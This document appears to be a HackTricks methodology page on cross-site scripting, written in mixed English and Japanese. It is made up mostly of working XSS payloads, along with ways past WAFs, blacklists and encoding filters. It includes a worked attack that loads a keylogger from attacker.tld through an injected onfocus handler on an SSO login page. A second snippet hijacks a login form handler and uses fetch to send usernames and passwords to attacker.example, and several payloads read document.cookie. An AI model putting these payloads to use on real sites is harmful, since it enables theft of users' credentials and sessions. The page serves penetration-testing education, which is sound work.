XSS (Cross Site Scripting)

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

Methodology

  1. Check if any value you control (parameters, path, headers?, cookies?) is being reflected in the HTML or used by JS code.
  2. Find the context where it’s reflected/used.
  3. If reflected
  4. Check which symbols can you use and depending on that, prepare the payload:
  5. In raw HTML:
  6. Can you create new HTML tags?
  7. Can you use events or attributes supporting javascript: protocol?
  8. Can you bypass protections?
  9. Is the HTML content being interpreted by any client side JS engine (AngularJS, VueJS, Mavo…), you could abuse a Client Side Template Injection.
  10. If you cannot create HTML tags that execute JS code, could you abuse a Dangling Markup - HTML scriptless injection?
  11. Inside a HTML tag:
  12. Can you exit to raw HTML context?
  13. Can you create new events/attributes to execute JS code?
  14. Does the attribute where you are trapped support JS execution?
  15. Can you bypass protections?
  16. Inside JavaScript code:
  17. Can you escape the <script> tag?
  18. Can you escape the string and execute different JS code?
  19. Are your input in template literals ``?
  20. Can you bypass protections?
  21. Javascript function being executed
  22. You can indicate the name of the function to execute. e.g.: ?callback=alert(1)
  23. If used:
  24. You could exploit a DOM XSS, pay attention how your input is controlled and if your controlled input is used by any sink.

When working on a complex XSS you might find interesting to know about:

Debugging Client Side JS

Reflected values

In order to successfully exploit a XSS the first thing you need to find is a value controlled by you that is being reflected in the web page.

  • Intermediately reflected: If you find that the value of a parameter or even the path is being reflected in the web page you could exploit a Reflected XSS.
  • Stored and reflected: If you find that a value controlled by you is saved in the server and is reflected every time you access a page you could exploit a Stored XSS.
  • Accessed via JS: If you find that a value controlled by you is being access using JS you could exploit a DOM XSS.

Contexts

When trying to exploit a XSS the first thing you need to know if where is your input being reflected. Depending on the context, you will be able to execute arbitrary JS code on different ways.

Raw HTML

If your input is reflected on the raw HTML page you will need to abuse some HTML tag in order to execute JS code: <img , <iframe , <svg , <script … these are just some of the many possible HTML tags you could use.
Also, keep in mind Client Side Template Injection.

Inside HTML tags attribute

If your input is reflected inside the value of the attribute of a tag you could try:

  1. To escape from the attribute and from the tag (then you will be in the raw HTML) and create new HTML tag to abuse: "><img [...]
  2. If you can escape from the attribute but not from the tag (> is encoded or deleted), depending on the tag you could create an event that executes JS code: " autofocus onfocus=alert(1) x="
  3. If you cannot escape from the attribute (" is being encoded or deleted), then depending on which attribute your value is being reflected in if you control all the value or just a part you will be able to abuse it. For example, if you control an event like onclick= you will be able to make it execute arbitrary code when it’s clicked. Another interesting example is the attribute href, where you can use the javascript: protocol to execute arbitrary code: href="javascript:alert(1)"
  4. If your input is reflected inside “unexpoitable tags” you could try the accesskey trick to abuse the vuln (you will need some kind of social engineer to exploit this): " accesskey="x" onclick="alert(1)" x="

Attribute-only login XSS behind WAFs

A corporate SSO login page reflected the OAuth service parameter inside the href attribute of <a id="forgot_btn" ...>. Even though < and > were HTML-encoded, double quotes were not, so the attacker could close the attribute and reuse the same element to inject handlers such as " onfocus="payload" x=".

  1. Inject the handler: Simple payloads like onclick="print(1)" were blocked, but the WAF only inspected the first JavaScript statement in inline attributes. Prefixing a harmless expression wrapped in parentheses, then a semicolon, allowed the real payload to execute: onfocus="(history.length);malicious_code_here".
  2. Auto-trigger it: Browsers focus any element whose id matches the fragment, so appending #forgot_btn to the exploit URL forces the anchor to focus on page load and runs the handler without requiring a click.
  3. Keep the inline stub tiny: The target already shipped jQuery. The handler only needed to bootstrap a request via $.getScript(...) while the full keylogger lived on the attacker’s server.

Building strings without quotes

Single quotes were returned URL-encoded and escaped double quotes corrupted the attribute, so the payload generated every string with String.fromCharCode. A helper function makes it easy to convert any URL into char codes before pasting it into the attribute:

function toCharCodes(str){
return `const url = String.fromCharCode(${[...str].map(c => c.charCodeAt(0)).join(',')});`
}
console.log(toCharCodes('https://attacker.tld/keylogger.js'))

結果として得られた属性は次のようでした:

onfocus="(history.length);const url=String.fromCharCode(104,116,116,112,115,58,47,47,97,116,116,97,99,107,101,114,46,116,108,100,47,107,101,121,108,111,103,103,101,114,46,106,115);$.getScript(url),function(){}"

なぜこれが credentials を盗むのか

外部スクリプト(attacker-controlled host または Burp Collaborator から読み込まれたもの)は document.onkeypress をフックし、キー入力をバッファし、毎秒 new Image().src = collaborator_url + keys を発行していました。XSS は unauthenticated users にしか発動しないため、敏感な操作は login form 自体です — 攻撃者は被害者が “Login” を押さなくても usernames and passwords を keylogs します。

クラス名を制御すると Angular が XSS を実行する奇妙な例:

<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>

JavaScriptコード内

この場合、あなたの入力はHTMLページの <script> [...] </script> タグの間、.js ファイル内、または javascript: プロトコルを使った属性内に反映されます:

  • もし <script> [...] </script> タグの間に反映される場合、たとえ入力がどんな種類の引用符内にあっても、</script> を注入してこのコンテキストから抜け出すことを試せます。これは ブラウザがまずHTMLタグを解析し、その後コンテンツを解析するため、注入した </script> タグがHTMLコードの中にあることに気づかれないためです。
  • もし JS文字列内 に反映され、前述の手法が効かない場合は、文字列を 抜け、コードを 実行 し、JSコードを 再構築 する必要があります(もしエラーがあれば実行されません):
  • '-alert(1)-'
  • ';-alert(1)//
  • \';alert(1)//
  • テンプレートリテラル内に反映される場合、${ ... } 構文を使って JS式を埋め込む ことができます: var greetings = `Hello, ${alert(1)}`
  • Unicode encode有効な javascript コード を書くのに有効です:
alert(1)
alert(1)
alert(1)

Javascript Hoisting

Javascript Hoistingは、XSSが未宣言の変数や関数を使用しているような状況を悪用できるように、関数、変数、クラスを使用後に宣言できる機会を指します。**
詳細は次のページを参照してください:

JS Hoisting

Javascript Function

多くのウェブページには、実行する関数名をパラメータとして受け取るエンドポイントがあります。実際によく見かける例は次のようなものです:?callback=callbackFunc

ユーザーが直接渡した値が実行されようとしているかを調べる良い方法は、パラメータの値を変更する(例えば ‘Vulnerable’ に)ことと、コンソールに次のようなエラーが出るかを確認することです:

もし脆弱なら、値を送るだけでalertを発生させることができるかもしれません:?callback=alert(1)。しかし、この種のエンドポイントは非常に一般的に内容を検証して文字、数字、ドット、アンダースコアのみを許可します([\w\._])。

しかし、その制限があってもいくつかの操作は可能です。これは、許可された文字を使ってDOMの任意の要素にアクセスできるからです:

この目的で便利な関数:

firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement

また、Javascriptの関数を直接トリガーすることも試せます: obj.sales.delOrders

ただし、通常、指定された関数を実行するエンドポイントはあまり興味深いDOMを持たないことが多く、other pages in the same originにはより多くの操作を行うためのmore interesting DOMが存在します。

したがって、別のDOMでこの脆弱性を悪用するためにSame Origin Method Execution (SOME) exploitationが開発されました:

SOME - Same Origin Method Execution

DOM

JS code安全でない方法でlocation.hrefのような攻撃者により制御されるデータを使用している場合があります。攻撃者はこれを悪用して任意のJSコードを実行できます。

DOM XSS

Universal XSS

この種のXSSはどこにでも見つかる可能性があります。これらは単にWebアプリケーションのクライアント側の悪用に依存するのではなく、あらゆる****コンテキストに依存します。この種の任意のJavaScript実行は、RCEを獲得したり、クライアントやサーバ上の任意のファイルの読み取りなどに悪用されることさえあります。
いくつかの:

Server Side XSS (Dynamic PDF)

Electron Desktop Apps

WAF バイパス用エンコーディング画像

from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21

raw HTML内への注入

入力がHTMLページ内に反映される場合、またはこのコンテキストでHTMLコードをエスケープして注入できる場合、最初に行うべきことは < を使って新しいタグを作れるかどうかを確認することです: 単にその文字反映されるかを試し、それがHTMLエンコードされるか削除されるか、あるいは変更なしで反映されるかを確認してください。最後の場合に限りこのケースを悪用できます
このようなケースでは、念頭に置いておいてください Client Side Template Injection.
注: HTMLコメントは-->または--!>で閉じることができます

この場合、ブラック/ホワイトリストが使われていないなら、以下のようなペイロードを使うことができます:

<script>
alert(1)
</script>
<img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')>

しかし、タグ/属性のブラック/ホワイトリスティングが使用されている場合、作成できるタグをどのタグを brute-forceする必要があります。
許可されているタグをどのタグが許可されているか特定したら、見つかった有効なタグ内で属性/イベントをbrute-forceして、コンテキストをどのように攻撃できるか確認する必要があります。

タグ/イベント brute-force

Go to https://portswigger.net/web-security/cross-site-scripting/cheat-sheet and click on Copy tags to clipboard. Then, send all of them using Burp intruder and check if any tags wasn’t discovered as malicious by the WAF. Once you have discovered which tags you can use, you can brute force all the events using the valid tags (in the same web page click on Copy events to clipboard and follow the same procedure as before).

カスタムタグ

有効なHTMLタグが見つからない場合、カスタムタグを作成して onfocus 属性でJSコードを実行することを試すことができます。XSSリクエストでは、URLの末尾に # を付けてページをそのオブジェクトにフォーカスさせ、コードを実行させる必要があります:

/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x

Blacklist Bypasses

もし何らかの blacklist が使われているなら、いくつかのくだらないトリックでそれを bypass してみることができます:

//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG

//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>

//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09

//Unexpected parent tags
<svg><x><script>alert('1'&#41</x>

//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script      ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>

//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //

//Extra open
<<script>alert("XSS");//<</script>

//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">

//Using `` instead of parenthesis
onerror=alert`1`

//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //

Length bypass (small XSSs)

[!NOTE] > More tiny XSS for different environments payload は can be found herehere で見つかります。

<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>

最後のものは2つのunicode文字を使っており、5つに展開されます: telsr\ より多くのこのような文字はこちらで見つかります。\ どの文字に分解されるかを確認するにはこちらを参照してください。

Click XSS - Clickjacking

もし脆弱性をexploitするために事前入力されたデータ付きでuser to click a link or a formが必要であれば、ページが脆弱な場合abuse Clickjackingを試してみてください。

Impossible - Dangling Markup

もし単にit’s impossible to create an HTML tag with an attribute to execute JS codeと考えているなら、Danglig Markup を確認してください。なぜなら、脆弱性をexploitし、JSコードを実行せずに悪用できる可能性があるからです。

HTML tag 内に注入

タグ内部 / 属性値からのエスケープ

もしinside a HTML tagにいる場合、最初に試すことはタグからエスケープして、前のセクションで述べたいくつかの手法を使ってJSコードを実行することです。
もしタグからescapeできない場合、タグ内に新しい属性を作成してJSコードを実行しようとすることができます。例えば以下のようなペイロードを使う場合があります(この例では属性から脱出するためにダブルクォートを使用しています。入力がタグ内に直接反映される場合はこれらは不要です]):

" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t

スタイルイベント

<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>

#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>

属性内

たとえ 属性から脱出できない" がエンコードされるか削除される)としても、どの属性に値が反映され、値全体を制御できるか一部だけかによっては、それを悪用できます。例えばonclick= のようなイベントを制御できれば、クリック時に任意のコードを実行させることができます。
もう一つの興味深いは属性 href で、javascript: プロトコルを使って任意のコードを実行できます: href="javascript:alert(1)"

HTMLエンコード/URLエンコードを使ったイベント内でのバイパス

HTMLタグの属性値内の HTMLエンコードされた文字実行時にデコードされます。したがって次のようなものが有効になります(ペイロードは太字): <a id="author" href="http://none" onclick="var tracker='http://foo?&apos;-alert(1)-&apos;';">Go Back </a>

なお、どんな種類のHTMLエンコードでも有効です:

//HTML entities
&apos;-alert(1)-&apos;
//HTML hex without zeros
&#x27-alert(1)-&#x27
//HTML hex with zeros
&#x00027-alert(1)-&#x00027
//HTML dec without zeros
&#39-alert(1)-&#39
//HTML dec with zeros
&#00039-alert(1)-&#00039

<a href="javascript:var a='&apos;-alert(1)-&apos;'">a</a>
<a href="&#106;avascript:alert(2)">a</a>
<a href="jav&#x61script:alert(3)">a</a>

注意: URL encode も動作します:

<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>

イベント内でUnicode encodeを使ったBypass

//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />

属性内の特殊なプロトコル

そこでは、場合によってはプロトコル javascript: または data: を使用して 任意のJSコードを実行できます。一部はユーザー操作が必要で、他は不要です。

javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript&colon;alert(1)
javascript&#x003A;alert(1)
javascript&#58;alert(1)
javascript:alert(1)
java        //Note the new line
script:alert(1)

data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==

これらのプロトコルを注入できる場所

一般的に javascript: プロトコルは href 属性を受け付ける任意のタグで使用できます および src 属性を受け付けるタグのほとんどでも使用できます(ただし <img> では不可)

<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>

<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>

//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">

その他の難読化トリック

この場合、前のセクションで説明した HTML encoding と Unicode encoding のトリックも、属性内にいるため有効です。

<a href="javascript:var a='&apos;-alert(1)-&apos;'">

さらに、これらの場合には別の小技があります: Even if your input inside javascript:... is being URL encoded, it will be URL decoded before it’s executed. つまり、single quoteを使ってstringからescapeする必要があり、しかもそれがit’s being URL encodedされているのを見ても、覚えておいてください:it doesn’t matter, it will be interpreted as a single quote during the execution time.

&apos;-alert(1)-&apos;
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>

注意:任意の順序で URLencode + HTMLencode両方を使って payload をエンコードしようとしても、動作し ません。ただし、payload の内部で混ぜることは可能です。

Hex と Octal encode を javascript: と一緒に使う

iframesrc 属性内(少なくとも)で HexOctal encode を使用して、HTML tags to execute JS を宣言できます:

//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />

//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />

Reverse tab nabbing

<a target="_blank" rel="opener"

任意のURLを、<a href= タグに注入でき、そのタグが target="_blank" and rel="opener" 属性を含む場合、この挙動を悪用するために次のページを確認してください

Reverse Tab Nabbing

on イベントハンドラのバイパス

まず最初に、有用な “on” event handlers を確認するためにこのページ(https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)をチェックしてください。
もし何らかのブラックリストがあってこれらのイベントハンドラを作成できない場合は、以下のバイパスを試してください:

<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>

//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B

詳細は here 現在、hidden inputsを以下の方法で悪用できるようになりました:

<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />

そして metaタグ:

<!-- Injection inside meta attribute-->
<meta
name="apple-mobile-web-app-title"
content=""
Twitter
popover
id="newsletter"
onbeforetoggle="alert(2)" />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>

参照: here: XSS payload inside a hidden attribute を実行できます。ただし victimpersuade して key combination を押させられる必要があります。Firefox Windows/Linux ではキーの組み合わせは ALT+SHIFT+X、OS X では CTRL+ALT+X です。access key attribute に別のキーを指定すれば、異なるキーの組み合わせを指定できます。攻撃ベクターは以下の通り:

<input type="hidden" accesskey="X" onclick="alert(1)">

XSS payload は次のようなものになります: " accesskey="x" onclick="alert(1)" x="

ブラックリスト回避

このセクションですでに様々なエンコーディングを使ったトリックが紹介されています。どこで使えるかを学ぶために戻ってください:

  • HTML encoding (HTML tags)
  • Unicode encoding (can be valid JS code): \u0061lert(1)
  • URL encoding
  • Hex and Octal encoding
  • data encoding

Bypasses for HTML tags and attributes

前のセクションのBlacklist Bypasses of the previous sectionを読んでください。

Bypasses for JavaScript code

以下のセクションのJavaScript bypass blacklist of the following sectionを読んでください。

CSS-Gadgets

もしウェブの非常に小さな部分でXSSを見つけた(フッターの小さなリンクに onmouseover 要素があるなど)場合、その要素が占めるスペースを変更してリンクが発火する確率を最大化することができます。

例えば、要素に次のようなスタイルを追加できます: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5

しかし、WAF が style 属性をフィルタリングしている場合は CSS Styling Gadgets を使うことができます。例えば次が見つかったとします:

.test {display:block; color: blue; width: 100%}

そして

#someid {top: 0; font-family: Tahoma;}

この場合、リンクを次の形に変更できます:

<a href=“” id=someid class=test onclick=alert() a=“”>

このトリックは次から引用しました: https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703

Injecting inside JavaScript code

この場合、あなたのinput.js ファイルの JS コード内、または <script>...</script> タグの間、JS を実行できる HTML イベントの間、あるいは javascript: プロトコルを受け入れる属性の間に反映されます

Escaping <script> tag

もしあなたのコードが <script> [...] var input = 'reflected data' [...] </script> の中に挿入されるのであれば、<script>閉じタグをエスケープするのは簡単です:

</script><img src=1 onerror=alert(document.domain)>

Note that in this example we シングルクォートを閉じてすらいない. This is because HTMLのパースはブラウザで最初に行われる, which involves identifying page elements, including blocks of script. The parsing of JavaScript to understand and execute the embedded scripts is only carried out afterward.

JSコード内

If <> are being sanitised you can still 入力が配置されている文字列をエスケープして任意のJSを実行できます。It’s important to JSの構文を修正する, because if there are any errors, the JS code won’t be executed:

'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//

JS-in-JS string break → inject → repair pattern

ユーザ入力が引用されたJavaScript文字列内に入る場合(例:server-side echo による inline script への出力)、文字列を終了させてコードを注入し、構文を修復してパースを有効に保つことができます。一般的なスケルトン:

"            // end original string
;            // safely terminate the statement
<INJECTION>  // attacker-controlled JS
; a = "      // repair and resume expected string/statement

脆弱なパラメータがJS文字列に反映される場合のURLパターン例:

?param=test";<INJECTION>;a="

これはHTMLコンテキストに触れることなく攻撃者のJSを実行します(pure JS-in-JS)。フィルタがキーワードをブロックする場合は、下の blacklist bypasses と組み合わせてください。

テンプレートリテラル ``

単一引用符や二重引用符以外に文字列を構築するために、JSはbackticks `` も受け入れます。これはテンプレートリテラルと呼ばれ、${ ... }構文を使ってembedded JS expressionsを埋め込めるためです。
したがって、もし入力がbackticksを使ったJSの文字列内でreflectedされていることが分かった場合、${ ... }構文を悪用してarbitrary JS codeを実行できます:

;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop() {
return loop
}
loop``

Encoded code execution

<script>\u0061lert(1)</script>
<svg><script>alert&lpar;'1'&rpar;
<svg><script>alert(1)</script></svg>  <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">

デリバラブル payloads with eval(atob()) and scope nuances

URL を短く保ち、単純なキーワードフィルタを回避するために、実際のロジックを base64-encode して eval(atob('...')) で評価できます。単純なキーワードフィルタが alerteval、または atob のような識別子をブロックする場合は、ブラウザ上で同一にコンパイルされつつ文字列マッチフィルタを回避する Unicode エスケープされた識別子を使用してください:

\u0061\u006C\u0065\u0072\u0074(1)                      // alert(1)
\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64'))  // eval(atob('...'))

重要なスコーピングの注意点: eval() 内で宣言された const/let はブロックスコープであり、グローバルを作成しません。後続のスクリプトからはアクセスできません。必要に応じて、グローバルで再バインド不可能なフックを定義するには、動的に挿入した <script> 要素を使用してください(例: フォームハンドラをハイジャックする場合):

var s = document.createElement('script');
s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
document.head.appendChild(s);

参照: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval

Unicode エンコードによる JS 実行

alert(1)
alert(1)
alert(1)

JavaScript ブラックリスト回避テクニック

Strings

"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))

特殊なエスケープ

"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
// Any other char escaped is just itself

JSコード内のスペースの置換

<TAB>
/**/

JavaScriptのコメント(出典: JavaScript Comments トリック)

//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line

JavaScript 改行 (から JavaScript new line トリック)

//Javascript interpret as new line these chars:
String.fromCharCode(10)
alert("//\nalert(1)") //0x0a
String.fromCharCode(13)
alert("//\ralert(1)") //0x0d
String.fromCharCode(8232)
alert("//\u2028alert(1)") //0xe2 0x80 0xa8
String.fromCharCode(8233)
alert("//\u2029alert(1)") //0xe2 0x80 0xa9

JavaScript の空白文字

log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279

//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert&#65279;(1)>

コメント内の Javascript

//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send

//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com

JavaScript(丸括弧なし)

// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name

// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`

// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`

// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`

//It's possible to construct a function and call it
Function`x${'alert(1337)'}x`

// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead

// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.



// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''


// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}


// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.

任意の関数 (alert) の呼び出し

//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')

//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
